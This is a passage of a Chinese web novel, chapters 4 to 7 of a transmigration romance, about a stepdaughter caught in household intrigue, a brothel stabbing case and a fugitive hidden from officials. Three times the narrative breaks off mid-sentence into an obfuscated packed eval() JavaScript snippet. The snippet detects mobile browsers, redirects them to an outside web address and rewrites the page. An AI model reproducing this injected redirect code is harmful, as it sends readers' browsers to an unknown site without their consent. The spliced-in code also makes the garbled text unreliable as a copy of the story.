魏昭一来就被崔明意缠上,追着她问之前救崔砚的法子是从哪里学来的,她照着同样的说辞,为崔明意还有表面不在意,实则全都在听的崔家其他人解了惑。 林氏指挥着下人们进出忙碌,各色菜肴流水似的传进来。 长辈们一席,再加上崔绩。小辈们一桌,还有崔明淑的生母夏姨娘。崔砚与沈姨娘没来,这也在情理之中。 两桌离得不远,巧的是魏昭所坐的位置正对着崔绩。 男主就是男主,当真是与人不在同一个光圈中,仅是坐在那里,通身的气势已然凌驾所有人,哪怕是气度不凡的父辈叔伯们。 一想到那个所谓的任务,魏昭是无比的纠结。 系统不愧是机器,压根没有人类的情感,否则也不会完全枉顾她真实的性格,自说自话让她走剧情。 还让她给男主下泻药,简直是污辱她的智商! 再说这位继兄风姿过人长相出众,最是皎皎明月般的人物,如果被人下了泻药,不停地往茅房跑,毫无形象地塌着腰撅着腚…… 那不就是造孽嘛。 崔绩察觉到她隐晦复杂的目光,却不动声色地置之不理,微侧着身体倾向崔沪,听崔沪说起在南州时的见闻。 “世人都说南州湿闷,蛇鼠虫蚁遍行,百姓苦不堪言,但我瞧着并非如此。这湿热也有湿热的好处,一年四季皆可种植作物,萧条腊月亦有东西果腹,那些蛇鼠虫蚁也是口中食。何况冬日不见雪,穷苦之人也能免受寒冻,倒是比北边的许多地方强些。” 崔明淑变了脸色,当即搁下筷子,“蛇鼠虫蚁岂能入口?” 崔明意灵动的脸上泛起促狭之色,“自然都可以吃,不说是无毒的,就是有毒的,南州的百姓也有法子把它们变成盘中餐。先前你们见到的石龙子若是剥去外皮清除内脏,再用果木熏烤,洒上盐巴与胡椒,可是难得的美味……” “五妹妹,你莫要再说了。” 这下别说是崔明淑,便是崔明静都受不住,明显有几分作呕之态。 崔明意正说得高兴,却被人扫兴,自是有些不太快活。眼珠子流转一圈,待看到魏昭没事人般,正在小口地吃着菜,立马来了精神。 “四姐姐,你是不是有点想吃?” 魏昭不置可否,“未曾见过,不知是否有食欲。” “我就知道四姐姐和她们不一样,你不害怕这些。”崔明意表情有些神秘,仿佛知晓了别人的秘密一般。 两人看似在窃窃私语,状态颇有几分亲近。 崔明淑只觉刺眼得很,由不得出口讥讽,“五妹妹怕是忘了以前我和二姐姐总带着你一起玩,这次回家竟然和四妹妹如此要好。” “三姐姐这话好生没道理,我离京时才三岁,自然是什么事都不记得。你可是怪我不和你说话?我刚刚说话,你们也不爱听,反倒怨起我来,我真是冤枉。” “我的三姑娘五姑娘,你们是血脉相连的姐妹,哪能为了不相干的人和不相干的事争论起来,没得让人看笑话。” 夏姨娘话里有话,不好怪崔明意,更不会说自己亲生的崔明淑,是以将有的责任一股脑都推给别人。 她口中不相干的人,不就是魏昭。 魏昭内心倒是没有丝毫波澜,因为她确实不是崔家人,从某种意义上来说,她于崔家人而言就是不相干的人。 记得初入府时,崔明静对她很是照顾,成日送来好吃好用的东西,热情到不允许她的拒绝,远超同父异母的妹妹崔明淑。 很快府中传言四起,有人说崔明静是想借她打压崔明淑。崔明淑自是不依,又哭又闹搅得府中上下人尽皆知。 夏姨娘吹了枕头风,林氏被崔涣指责教女无方。也不知是谁开的头,竟有人私下议论崔涣宠妾灭妻。 盛氏最忌这样的事,自是勃然大怒,不仅惩治了那些乱嚼舌根的人,还狠狠将夏姨娘训斥一通,罚了半年的月钱。 此事过后,她和魏绮罗像是被人针对上,不是门口被人洒了油,出去时差点摔倒,就是点心里吃出枝条尖刺,险些划破喉咙。 从表面上来看,是夏姨娘母女恨上她们,所以才捣的鬼。 但魏昭并不这么想。 高门大宅多有算计与龃龉,越是跳得欢的人反倒不可怕,可怕的是藏心于虚假表相之下的人。 她不想沦为崔家嫡庶之争的炮灰,这些年与府里任何人都是面子情,不远不近地相处着。所以崔明意的示好,她无福消受。 夏姨娘见她不语,得意之余,倒也知道点到为止。 但树欲静,而风不止。 这时沈姨娘满脸泪痕地冲进来,“通”地一声跪下。 “老夫人,救您给妾和六公子做主!” 盛氏还以为是崔砚出了什么事,当下变了脸色。“你快说清楚,砚哥儿怎么了?” “有人想害六公子性命!” 沈姨娘哽咽着,示意跟过来的两人上前。一个是之前跟在崔砚身边的小丫环,另一个是崔砚的乳母孙氏。 她哽咽着,声声泣泪。 一说有人存心害崔砚,明知他年幼,很多东西都不能吃,却有人故意背着小丫环偷偷给了他一块点心。 二说孙妈妈昨夜忽发病疾,上吐下泻也是有人故意为之,证据就是孙妈妈事后回想晚饭时喝的汤味道有些古怪。 “老夫人,六公子可是二爷唯一的儿子,妾实在是不敢想,到底是谁容不下他……心肠如此歹毒想谋他的性命。” “你说的都是真的?” 崔涣大怒,目光惊疑不定。 妻妾相争闹出人命之事,搁在哪个高门内院都不鲜见。几乎是下意识,他怀疑的眼神就落到林氏身上。 “二爷,您这是怀疑我?你我夫妻多年,我是什么样的人,您还能不知道吗?”林氏眼眶立红,如受到污辱般的委屈难过。 嫡妻与庶子,关系不可谓不微妙,若为嫉妒故,自是水火不相容,但夫妻又是一体,若为大局着想,她还应该示好庶子。 “沈姨娘,你说是那点心是有人给砚哥儿的,那砚哥儿可记得是谁?还有孙妈妈,你说是吃食被人做了手脚,可有证据?” “六公子遭此大难,哪里还记得是谁给他的?孙妈妈吃了亏,证据却是没有的。” “一个不记得,一个没有证据,你怎能断定是有人想害砚哥儿?”林氏挺直着,轻抬下巴的同时,神情已然凌厉起来,“今日三房归家,阖家欢庆之时,你却凭空猜测,跑来大吵大闹,到底想做什么?” 沈姨娘似悲痛到无法呼吸,揪着自己的衣襟,泪如雨下。“二夫人,妾没有乱说,真的是有人想害六公子。” 她一副快要晕倒的模样,忽地也不知哪里来的精神,像是突然被打了鸡血般看向魏昭,“妾还有证据!” 魏昭心下叹息。 她就知道哪怕在世人眼中最顶级的清流世家,这座府邸也不缺明争暗斗。 桌上的菜还冒着热气,色香味都不少,单是一道金汤鲍鱼就足可抵寻常百姓几个月的花销。如此钟鸣鼎食锦衣荣华之家,为何人心难填? “六公子说,那点心很是瓷硬,里面包的不是豆蓉流沙,而是未煮烂的芸豆,他这才被噎得险些没了命。四姑娘,是你救了六公子,六公子口中噎堵之物也是你所清除,你仔细想想,是不是有没煮化的豆子?” 沈姨娘这番话,无疑将她推到左右为难的境地。往前一步是火坑,退后一步是冰窟,不管她怎么说,势必要得罪一方。 甚至有可能因她一人之言,而成为崔家人的众矢之的。 这样的浑水她不趟还不行吗? 她感受着众人的注视,慢慢地从座位上站起,双手交叉于胸前,微微地低着头,“我当时只顾着救人,没有留意到这些事。” “事关重大,四妹妹不妨再仔细想想?” 是崔绩! 她也是不明白了,这个向来置身于崔家之外的人为何会凑热闹,难道就因为她是女配他是男主,他们天生就不应该相安无事? 也罢。 那就来吧。 “我实在是想不起来,但我隐约记得从六弟弟口中抠出噎堵之物时,沾了些许在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823654|191066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣袖上,应是还未来得及清洗,或可让兄长辨别一二。” 白鹤动作迅速,很快将她换下的衣物取来。 正如她所言,那袖口处果然粘着一大坨点心秽物。 崔绩修长的手指将绿裙挑起,先闻到的不是点心秽物的气味,而是丝丝缕缕的清甜香气,似是某种不知名的果香。 所有人都看着他,等待着他的鉴定。 他取来银箸翻看过后,再让沈姨娘自己辨别。 确凿的证据在前,沈姨娘却还在坚持,“许是渗了口水软化了……” “够了!” 盛氏沉着脸,一拍桌子。 她近几年虽然已将府里的中馈交到林氏手上,但却是崔家内宅真正的主母,过往的威严与手段仍然让人不可有丝毫造次。 那双精明的眼睛如炬如海,无比锐利地看着沈姨娘,“我知你心疼砚哥儿,伤心过度,难免多思多想。我崔家百年清名传世,绝无残害子嗣的龌龊事,此等子虚乌有之事休得再提!” 有她这句话,一场闹剧被划上句号。 * 宴席继续,但欢乐之气已淡。 重新热过的菜失了原本的色相,不复先前的精致,便是那道金汤鲍鱼都稍显寡味了些,让人提不起食欲。 好好的接风宴,被人闹过一场,盛氏只觉愧对小儿子。 她满心满眼的都是崔沪,像是怎么看也看不够似的,眉目中是溢出来的是心疼和笑意,认真地听崔沪接着说起在南州时的见闻。 魏昭也在听,思绪都渐渐发散。 今天为试探她,男主可以放四脚蛇吓她。还有刚刚故意把她推出来,也不知安的是什么心。一旦她真的给他下药被发现,肯定会有难以想象的法子对付她。 尤其是这样的场合,更不可能做手脚。 既然如此也就没有再留下来的必要,是以她借口自己身体还有些不太舒服提前离席,离席之前给魏绮罗递了一个眼色。 一路不必提灯,亦有石雕华灯照路。 沁凉的夜,分外的舒畅,哪怕夜景模糊,因着无人打扰也可一赏,听着早虫的鸣叫声,别有一番情致。 蓦地,细微的脚步声从身后传来,如叶落松间,须臾到了跟前。 “四妹妹。” 又是崔绩! 她无奈转身,半掀着眼皮看人。 “兄长。” 崔绩一步步走近,其风姿仪态之优雅,如明月照人间。“方才之事,真是多亏了四妹妹。” 这人追过来真是为了道谢? 她怎么就不信呢。 “也是庆幸,否则还真说不清。” “确实庆幸,幸好四妹妹的袖子上沾了抠出之物,幸好四妹妹身边的人一时懈怠,没有及时将衣物清洗。” 不是庆幸,也不是幸好,而是她故意将那抠出之物留下,原本是有备无患,没想到她是小人之心,却没有等来君子之腹。 她听出这话里的深意,却装作听不懂的样子。 夜色与灯火交错的光影中,男人眼尾之下的泪痣如朱砂一点,化开清冷之感,增添一丝艳色,似雪上落了桃花瓣。 从面相上来说,长着这种美人痣的人,容易为情所困,一生都难逃情爱之累。难怪遇到女主之后性情大变,一而再地突破底线,成日就想和女主圈圈叉叉。 书里说他天赋异禀,不止是他的能力手段,也指他某方面的能力。 一本限制级的甜宠文,男女主甜甜蜜蜜没羞没臊就可以了,为何非要强行穿插一个女配,岂不多此一举? 如果她不下药,而完成任务呢? “也是多亏兄长提醒,否则我怕是想不起来。”她望了一眼漆黑的天幕,“这么晚了,我该回去睡了。兄长你累了一天,也该好好歇一歇,不如就宿在家中,免得来回折腾。” 风从她身后拂来,吹动她的衣裙。 崔绩又闻到淡淡的清甜香,看她的眼神似未化的雪,“不了,我还有事。” 她福了福身,“那兄长慢走。” 看来不走剧情,任务也完不成。 算了。 男主厌不厌女与她何干,女主出不出现更是和她没有半文钱关系,所以她就做自己,才不要做什么恶毒女配! 5. 第 5 章 * 京畿之地,自古以来都是皇权更迭的中心。 世族高门起起落落,权势来来回回的流转,你方唱罢我登场,一朝大厦倾倒,有的轰然于史书的记载中,留下寥寥几句简单却沉重的描述。有的消散在无形的岁月尘埃中,泯灭于天地之间。 四方城内外,不知有多少因为争权夺势而败落的高门,辉煌退去后仅余荒废的庭院,其中最让人讳莫如深的城南一处制式宏大的府邸。 昔日错落雅致的景致被杂草掩盖,唯有那露出来的屋顶翘檐,亭角与假山,还在诉说着它曾经的富丽堂皇。 一道黑影飘然而来,立与铺着白玉石板的地方,玉石板的缝隙中野草疯长,勾勒出方格的草线。 暗夜灰黑中,却难拦那人的绝代风华,修逸如竹,如神隐人间。 崔绩抖了抖了手中绣着金线的布袋,刹那之间杂草丛中异响连连,窜出无数只猫来。 它们围着他,喵喵地热情叫唤着,像是在欢迎客人的到来。 从另一方面来说,现在的它们也算得上这荒宅之主。 他将袋子里的小鱼干倒出来,猫群抢食之际,他蹲下趁机抚摸着它们的毛发,动作轻柔熟练,一看便是常做此举。 又一道黑影落下,恭敬地站在他身后,是他的护从斗南。 “公子,敬远伯被杀,沈少卿下令封了整个幽篁馆。” “死了吗?” “应是没命了。” 他优雅地起身,收好空空如也的袋子,眸色如被冰封的墨池,“倒是死的快,真是便宜他了。” * 夜寂无声,一点灰影飞进崔府内宅中,落在魏昭房间的窗台上。 白鹤听到动静过去,将绑在它腿间的纸条取下,再喂给它一些粟黍。它叽叽咕咕地吃完,然后振翅远去。 纸条被交到魏昭手上,上面写上:江昌义遇杀,大理寺封幽篁馆,方勒未出。 方勒是她的人,也是京中一家名为人面桃花的胭脂铺子里的伙计。 当然,人面桃花就是她的铺子。 她把纸条递给白鹤,白鹤看完之后就着烛火将其销毁。 “馆内客人多,达官贵人不在少数,甚至还有谁家内宅的夫人,他们更要脸面,应该比我们更急。大理寺排查凶手,少说也要一夜的工夫,他不过是去给馆里人送桃花粉,想来应该无事,我们明日天亮再去探听情况。” 纵是她想赶过去,以她如今的处境也不宜出门。 崔家这样的门第,最重风评与名声,若她是崔家女,倒还有可以有的放矢。可她一个继女,再是小心都不为过,又如何能做出夜间出府之事。 一夜再无话,直到晨光熹微。 主仆二人心里存了事,准备早起早出府,却不想收拾妥当后刚要走人,崔明淑就提着几盒东西上门。 盛氏发了话,崔明淑平日里再是喜欢使小性,也不会反抗自己祖母的威严。 她是来走过场的,魏昭对她也只有客套。 话不投机半句多,她不想真正低头认错,还端着为长的架子,魏昭也没工夫与她周旋,草草几句敷衍了事。 不管真心还是假意,这事算是揭了过去。 魏昭挂心着自己的事,等她一走再不迟疑,和白鹤赶紧出门。 从大房到侧门,必定要经过府里的园子。 繁华落尽的季节,到处都是枝繁叶茂。玉兰花已经开完,徒余密密实实的叶子,远看似伞盖,倒是极符崔家人的风骨。 打眼看到沈姨娘领着崔砚,她脚步微微一滞。 崔砚正是待不住坐不住的年纪,哪里愿意被人拘在屋子里,顾不上昨日才在鬼门关走一遭遇,死活要出来玩。 光看气色与活泼劲,倒像是全好了。 他见到她之后,明显很欢喜,嘴里喊着“四姐姐”,人就想往这边跑,才跑出两步就被沈姨娘给拉了回去。 “六公子,四姑娘还有事,你莫要去打扰她。” 沈姨娘说这话时,不知是心虚,还是别的原因,竟不敢与她对视。 内宅人心错综,妻与妾共存本就是违背人心的关系。昨日之事或许是林氏在背后推波助澜,但沈姨娘也没有坐以待毙,而是借题发挥。 二房两位姨娘,夏姨娘是奴籍,是婢妾。而沈姨娘不一样,其兄弟是举人出身,她是良籍,亦是良妾。 良妾的地位不仅高于婢妾,且还有被扶正的可能,京中便有这样的例子。 她育有二房唯一的男丁,倘若真能将残害庶子的名头安给林氏,未必没有出人头地的一天,高不可攀的地位与泼天的富贵,自然值得她冒险一试。 魏昭在崔家求的是安稳,自顾己身即可,救崔砚是因为良心过不去,不代表想卷进二房的妻妾之争中,当下顺着她的话,对眼巴巴的崔砚道,“六弟弟,我确实有事急着出门,你听你姨娘的话。” 她面色有些讪讪,不太自然地扶了一下自己发间的簪子,“六公子,你听听,四姑娘没空陪你玩呢。” 崔砚看看她,又看看魏昭,有些没精神地说了一句“那好吧。” 魏昭不再作停留,继续前行。 出了崔府之后,却没有急着去探听情况,而是直接回魏宅。 魏宅坐落于城南的苦水巷,苦水巷之所以叫苦水巷,并非有一口苦水井,相反井中的水格外清甜,只因井旁长着一棵苦楝树而得名。 从巷尾倒数第三家,就是魏家的祖宅。 守宅子的是一对老夫妻,风师公与月婆婆。他们被仇家追杀,双双重伤倒在魏家门口,是魏昭收留了他们。 魏昭一进门,来不及喝口水,便让月婆婆跟自己进房间。 几人默契十足,不用她多说什么,月婆婆已经将易容的箱子提来,给她贴上人皮面具后再修饰面容。 她从自家宅子翻过一间宅子,到达最靠里面的那家宅子,再从那宅子出去,就是另一个身份。 方勒的姐姐方娘子。 * 幽篁馆是小倌馆,是很多男子消遣之地,也是有些女子的解乏之处。 单从外面来看不像是做皮肉生意之所,其门庭雅致讲究,匾额之上雕刻祥云,幽篁二字飘逸灵秀,倒像高雅之士的住宅。 抱鼓石雕位于门外两侧,把守着大理寺的人。 透过半开的浮刻竹梅图的朱漆大门,但见时面官差来回走动,翠竹虚掩的地方,身着朱色公服的崔绩正与一浅绿色官服年轻男子在说着话。 尽管已经易容,魏昭仍有些心虚,不愿与崔绩对上。 她退到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823655|191066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一旁,不时探头望去,等不见崔绩他们后,这才与守门的人搭话。 守门的人见她行事鬼祟,原就一直注意着她,她一开口问起案子是否查明,封困在里面的人何时能放时,其中一人上下打量着她,眼睛都快斜到天上去,“大理寺办案,岂容你这等闲杂之人打听?” 当她不动声色地递过去一个荷包,那人换了一个口气,“我们少卿大人断案如神,又有崔少尹相助,想来案子很快就能破。你且回去安心等着,若你弟弟真与此案无关,定能全须全尾地归家。” 她知这些人惯会打官腔,哪怕是得了好处也不定有几句实话,心里无奈占多,面上却是半点不显,还赔着笑脸套近乎,“多谢官爷相告,我也是心急。你方才说崔少尹也在,那还真是巧了,真算起来我们东家和崔家还是亲戚。” 那人一听来了几分兴致,多看了她两眼。 平凡的五官,乏善可陈的长相,身段倒是不错,若是长得好看些,借着东家的势,或许还能攀上富贵。 可惜了。 “那你说说看,你们东家与崔家是何亲?” “实不相瞒,我们东家亲娘的婆家的小姑子的侄女的姑姑的男人,是你们崔少尹外祖父的女儿的儿子的亲爹,你就说是不是亲戚吧。” “这么远的亲,也亏得你还记得清楚。”那人挠着头,被这一团乱的关系绕得脑子里像打了结,但有一点他能肯定,也就是这个看上去其貌不显女子的东家,和崔家还真有亲戚关系。 当下将那荷包银子退回,并告知一个还算有用的信息,“江伯爷福大命大,侥幸保得一命,等他醒来后指认凶手,无关之人自然也就能走了。” 她心下略安,把荷包塞回去,“谢谢官爷相告,他们被关这么久,你们也守了这么久,真是辛苦至极,这点银子算是请你们喝酒。” 那人感慨她大气会说话,态度明显变了许多。 是非之地不宜久留,她见好就收,没有多作停留转身就走。走得有点远了,似乎感觉到有人在看自己,不由得脚步加快。 她不知道的是,崔绩根本就没有走,而是与那浅绿色官服之人就在半掩的门后面。 那浅绿色官服的青年剑眉星目,与崔绩身高胖瘦不相上下,却有一股子肃杀之气,正是大理寺的少卿沈弼。 沈弼向守门之人询问她的身份,守门之人依着她的介绍,如实相告。 “回沈少卿,她说她是人面桃花胭脂铺的人,她的弟弟昨日来送桃花粉而被扣押,她来打听案子进展,想知道自己弟弟何时能归家。” “人面桃花的人。”沈弼喃喃着,对崔绩道:“还真确实有一个,只是我没想到他们的东家居然和你们崔家是远亲,怎么没听你提过?” 很明显他们方才听到了她与守门人说的话。 崔绩目光清冷,视线追随着她,声音照旧不轻不重不徐不快好听至极,“不是远亲,你将她那话反复琢磨一下,便能知道他们的东家是谁。” 沈弼挑了挑眉,当真念叨起来,“他们东家亲娘的婆家的小姑子侄女的姑姑的男人,是你外祖父女儿的儿子的亲爹。小姑子侄女的姑姑?外祖父女儿的儿子……” 他喃喃着,表情越来越古怪。 半晌,剑眉微蹙:“他们东家……是你妹!” 6. 第 6 章 * “阿嚏” 魏昭忽感鼻子好痒,揉捏的同时四下环顾,以确保无人跟踪自己。 月婆婆早就等着,一见她回到家什么也没问,直接帮她卸妆除去人皮面具。一通捣鼓完毕后,镜子里重又现出她原本的面目来。 肤如凝脂生桃嫣,干净中不掩瑰丽,堪比芙蕖映霞光。 洁面之后是更衣,再不是在崔家时的一身绿,而是她新做的红衣。 红衣墨发,越显她的倾城之姿。 她摸了摸自己的脸,因着之前贴了人皮面具的缘故,有些不太活血,所以重重拍了两下。 她拍的是自己的脸,心疼的却是月婆婆。 “姑娘,你别这么用力,轻点拍。瞧这嫩生生的小脸,都被你给拍红了,你不心疼,老婆子我还心疼呢。” 月婆婆说着,赶紧给她脸上抹了些透明清爽滋润的香膏。 她们相处如一家人,对于她而言,月婆婆和风师公都是她的长辈。他们穷尽毕生所学,全都教给了她。 比方说月婆婆精通的人皮面具和各种胭脂水粉香膏的制法,甚至还有一些药理奇毒的方子,她已尽数掌握。 她这些年一直被月婆婆精养着,气血足是一方面,皮肤触手生滑腻,说是吹弹可破也不夸张。无需任何喷洒任何香露,自有一股子清甜好闻的味道。 这香味如同体香,但凡是她穿过的衣裳都能沾染上。 白鹤端来一直温着的银耳汤,让她润个嗓子。 她喝了半碗,才说起自己打听来的消息。 “敬远伯那样的人,命倒是挺大的,还真是祸害遗千年。” 也不怪折白鹤有此感慨,实在是那敬远伯江昌义,也是安元府有些名气的人。但他的名气不是好名声,而是令人不耻的污淫之名。 他好女色,又好男风,是京里各大花楼小倌馆的常客。若仅是花钱买风流快活,一个愿打一个愿挨的事,倒也让人无从指摘。 偏偏他行事放纵,举凡看入眼的人,不拘男的女的都要想方设法抢回自己的府里,是世人皆知的欺男霸女之徒。 这样一个人若真是死了,定然会让很多人拍手称快。 近申时许,方勒被放出来。 先回的是巷子最里面的宅子,也是他的住所,再掩人耳目来见魏昭。 他年纪才及冠,长相端正有余,清秀不足,但为人处事与言行举止都透着老成,条理清楚地把自己进到幽篁馆后所见所闻,以及发生的事全都事无巨细地说了一遍。 “江伯爷出事之时,我正在洛公子的房间里,他当时有些幸灾乐祸,说新人没有眉眼高低,想侍候江伯爷,也不先讨好他。若没有他这个老人指点一二,新人定然是要吃苦头的,才说到这里,就听到楼上喊出事了。 “那出事时新来的小倌可在?” “在。”方勒道:“他吓得不轻,魂不附体的,一直喊救命。” 据他听人描述,是有人破窗而入刺杀江昌义,江昌义身中数刀,前胸背后都有。 如果真是这样,还能活下来,倒真是命大。 “你确定他真的没死?” “也算是能确定,他被人扶着坐在屏风后,我们一个个被叫去让他辩认。”方勒说到这里,谨慎地看向魏昭,“姑娘可是觉得有什么不对的地方?” 魏昭点头,又摇头。 这事听起来似乎合理,又似乎很不对,甚至极有可能是有心之人放出来的烟雾弹,不是为了让真正的凶手放松警惕,而设下的圈套。 但真假都与她无关。 不管是世家高门的争斗,还是官场的虚实,她都不想沾惹。 * 魏宅是个二进的宅子,青砖黑瓦翘檐镇兽,还有正房门前左右两边的柿子树都是祖宗留下来的模样。 这两棵柿子树像是约好似的,果子一年繁一年空,错开结果和休整。今年左边的仅有枝叶,右边的硕果累累,不必刻意疏果,一场雨就能帮着完成,留下的都能等到秋天,金灿灿红彤彤。 魏昭是家主,魏绮罗嫁进崔府那年立的女户。 她的房间有琉璃明窗,大床和整面的墙柜,看着极其简单,却处处透着不一样,无论是家具,还是布置皆顺手实用。 当家做主的人,自然知道如何让自己过得最舒适。 每每回到这里,她夜里睡觉都能香沉几分。 三更的梆子声才过,她被白鹤叫起。 “姑娘,巷子口来了一群官差,挨家挨户的盘查,好像是在找什么人?” 她一下子灵醒,忙披衣下床。 风师公和月婆婆最是敏锐,早就穿戴整齐守在院子里,等看到她出来,叮嘱她几句后重回他们所住的南房。 天幕有月有星,月华所到之处可见天蓝与流云。 寻常百姓最不想惹麻烦,平日里也不喜与官差有牵扯,多一事不如小一事,有时候还得花钱消灾。 她让白鹤去取些碎银,以备不时之需。 夜风生凉,若不是不远处传来的让人不太愉快的动静,这个时辰万人皆睡自己独醒,倒是难得的赏星赏月之机。 忽然她听到隔壁宅子里细微的声响,美目瞬间现出星芒,锐利地看向她时常翻进翻出的那处墙头。 “通” 有人从那边翻过来,摔在地上。 她走近时,明显闻到血腥味。 “你是谁?” 那人应是受了伤,经这一摔后半天缓不过来,身体蜷缩着,但看起来应该不矮,从体型来看是个年轻的男子。 须臾,她便猜到这人是什么人。 这个节骨眼冒出来的来历不明且受伤的人,应该就是官差要找的人! 风师公和月婆婆,以及白鹤都赶了过来,做势要把人弄走。 她有一事不明,遂问道:“衙门要找的人,就是阁下吧。你不好好在那没人住的宅子里藏着,竟然翻到我家来,这不是自投罗网吗?” 那人听到她的声音,慢慢抬起头来。 虽一身狼狈,乱发遮住大半张脸,仍然能看出是个丰神俊朗的人。 他眼神很复杂,似乎想挤出笑来,却吐出一口血,“你是……知之妹妹?” 几乎是刹那之间,魏昭想到了一个人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823656|191066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 当时原主才走,她刚穿到这具身体里,意识尚不算清楚,但人是视觉动物,她对眉清目秀的少年有些印象。 “你是戌哥哥?” 戌哥哥姓李,名李戌,是住在隔壁的李叔之子。 李叔与她生父魏幸是好兄弟,同年同月同日死的那种。 她丧父之后可以依靠魏绮罗,而李家除了父子俩再无其他人,李叔出事之后,李戌被其师弟接走。他离京之前来同她道别,也算是有过一面之缘。 “知之妹妹还记得我?”他说着,又吐出一口血来,“想不到你我再见之时,竟是这般模样?” 故人重逢,本应该好好叙旧,但眼下却不是多说的时候。 她上前扶他,“先别说了,你跟我来。” * “嘭嘭嘭” 门被敲响后,风师公这才颤危危地去开门,提着油灯一照,看见外面一群官差,吓得手都哆嗦起来。 官差们人人腰带佩剑,手举火把。火光跳跃着,像极此时整条巷子被惊动的惶惶人心。 为首的沈弼举着火把,看了一眼门匾上的魏宅二字,星目中隐有一丝了然。 “老人家,我们是大理寺的,你们家主人何在?” 风师公忙说在,点头哈腰作着揖地叫人。 月婆婆和李戌立马过来,一个是老态的妇人,花白的发朴素的衣着,就是个寻常的老婆子,无任何特别之处。 而李戌已面目全非,变成一个相貌平平无奇的人。鞋子和都灰色的短褐沾着泥土,散发着新土的湿腥之气。 沈弼目光如炬,多看了他两眼,再将院子扫视一圈,在新翻种过的花圃那里停了一下。 正屋的门一开,先出来的是白鹤,接着是魏昭。 魏昭装作刚被吵醒的样子,一脸的惺忪迷茫,在看到院子里的人后蓦地瞪大眼睛,一副受到惊吓的模样。 月华与火光相互的辉映下,如日照金山生出来的绚丽光华,映得她眉如黛山,肤如润玉,艳绝而莹澈,让人一见入痴。 所谓伊人,在火之中。 众人惊艳着,一时竟没有人说话。 沈弼皱眉轻咳一声,提醒自己的属下莫要失态。 魏昭与他以前在崔家见过,自然是认识的。 当下上前见礼,福身问安。 他敛起萧杀之气,应是碍于和崔绩的交情,语气倒是有几分平和。说是他们追踪嫌犯至苦水巷,那人竟不见了,这才挨家挨户的找。 “你家里的人都在这了吗?” 魏昭光点头,不说话。 沈弼以为她吓得不轻,声音更轻了些,“嫌犯逃脱,不容有失,我的人要将你这宅子仔细搜查一番,还请见谅。” 魏昭当然没有不同意的道理。 大理寺的人将宅子翻找了一通,不可能发现其他人。 眼看着沈弼准备走人,她悬的一口气快要松下时,听到门外传来冰玉相击的声音,“慢着。” 来人从暗中走出,站在火光之下,仿若灵芝宝树。 是崔绩! 她的心瞬间提到了嗓子眼。 7. 第 7 章 崔绩一步步走近,尽显清雅风华,一副公事公办的样子,直接了当地询问,“你这下人是何时所买?” “这人是我几日前买的。” “可有契书?” “……” 相识三年以来,魏昭认为自己这个继妹也算是懂事,不说是公主府和国公府的光,就是崔家的光她都是能不沾就不沾。 原本她以为,他们会一直这样相安无事,谁能想到他会是男主,而她是个恶毒女配。 如今她不想沾光还不行,还得让他讨厌。 她到哪里说理去! 或许是他的态度实在是冷淡,连沈弼都有些看不下去,压声道:“那贼子受了重伤,当胸被我刺了一剑,怕是站都站不起来,这奴才看着没事人般,不太可能是。” 他不置可否,很寻常地看了沈弼一眼。 沈弼剑眉皱起,仿佛接收到什么讯号,气势忽地一变,那望过来的目光明显多了几分怀疑,按在剑柄上的手动了动,却被他按住。 “是与不是,查过才知。” 他清冷如玉的矜贵公子模样,和沈弼流露在外的肃杀不近人情大不相同。 若说沈弼是黑脸,那他就是白脸! 魏昭用袖子掩着面,转头交待白鹤。白鹤快去快回,取来一份卖身契。契书是新墨迹,上面还有买卖双方的签字画押。 “我还未来得及去官府换契,实在是最近事多,一时没能顾上。”她半垂着眼皮,声音越说越小。 火把的光虽亮,却不明,地上是影影绰绰。 崔绩的视线落在她身上,让她无所遁形。 她想这或许是男主的光环,太过强烈刺眼。也不知是不是觉醒剧情的缘故,她感觉这位继兄像是突然和她对上,像是专程在与她作对。 若不然套个近乎? “兄长……” 一听她唤崔绩为兄长,大理寺都惊呆了。 有人恍然记起,这位崔少尹的继母正是姓魏,嫁入崔府时还带了一个女儿。 但崔家的继女,为何会住在这里? 深宅之中争斗龃龉多人,他们常办案子,知道的本就比常人多些。一时猜测不断,看向崔绩的眼神有些微妙。 崔绩那张冰雕玉砌的脸,未现半点波动。火光之中那低着的眉骨如投影般,遮住含雪的冷眸,让人窥不见丝毫情绪。 他扫了那契纸一眼,没有伸手接过。 “我正在办差,只论公,不论私。” “是,我知道了,崔少尹。” 她立马从善如流,将契书撤回。 看来套近乎没用。 他们继兄妹之间的感情比纸还薄,什么公的私的,如果有可能,她哪个都不想与他论。可惜的是不管公的也好,私的也好,她好像都犯到他手上。 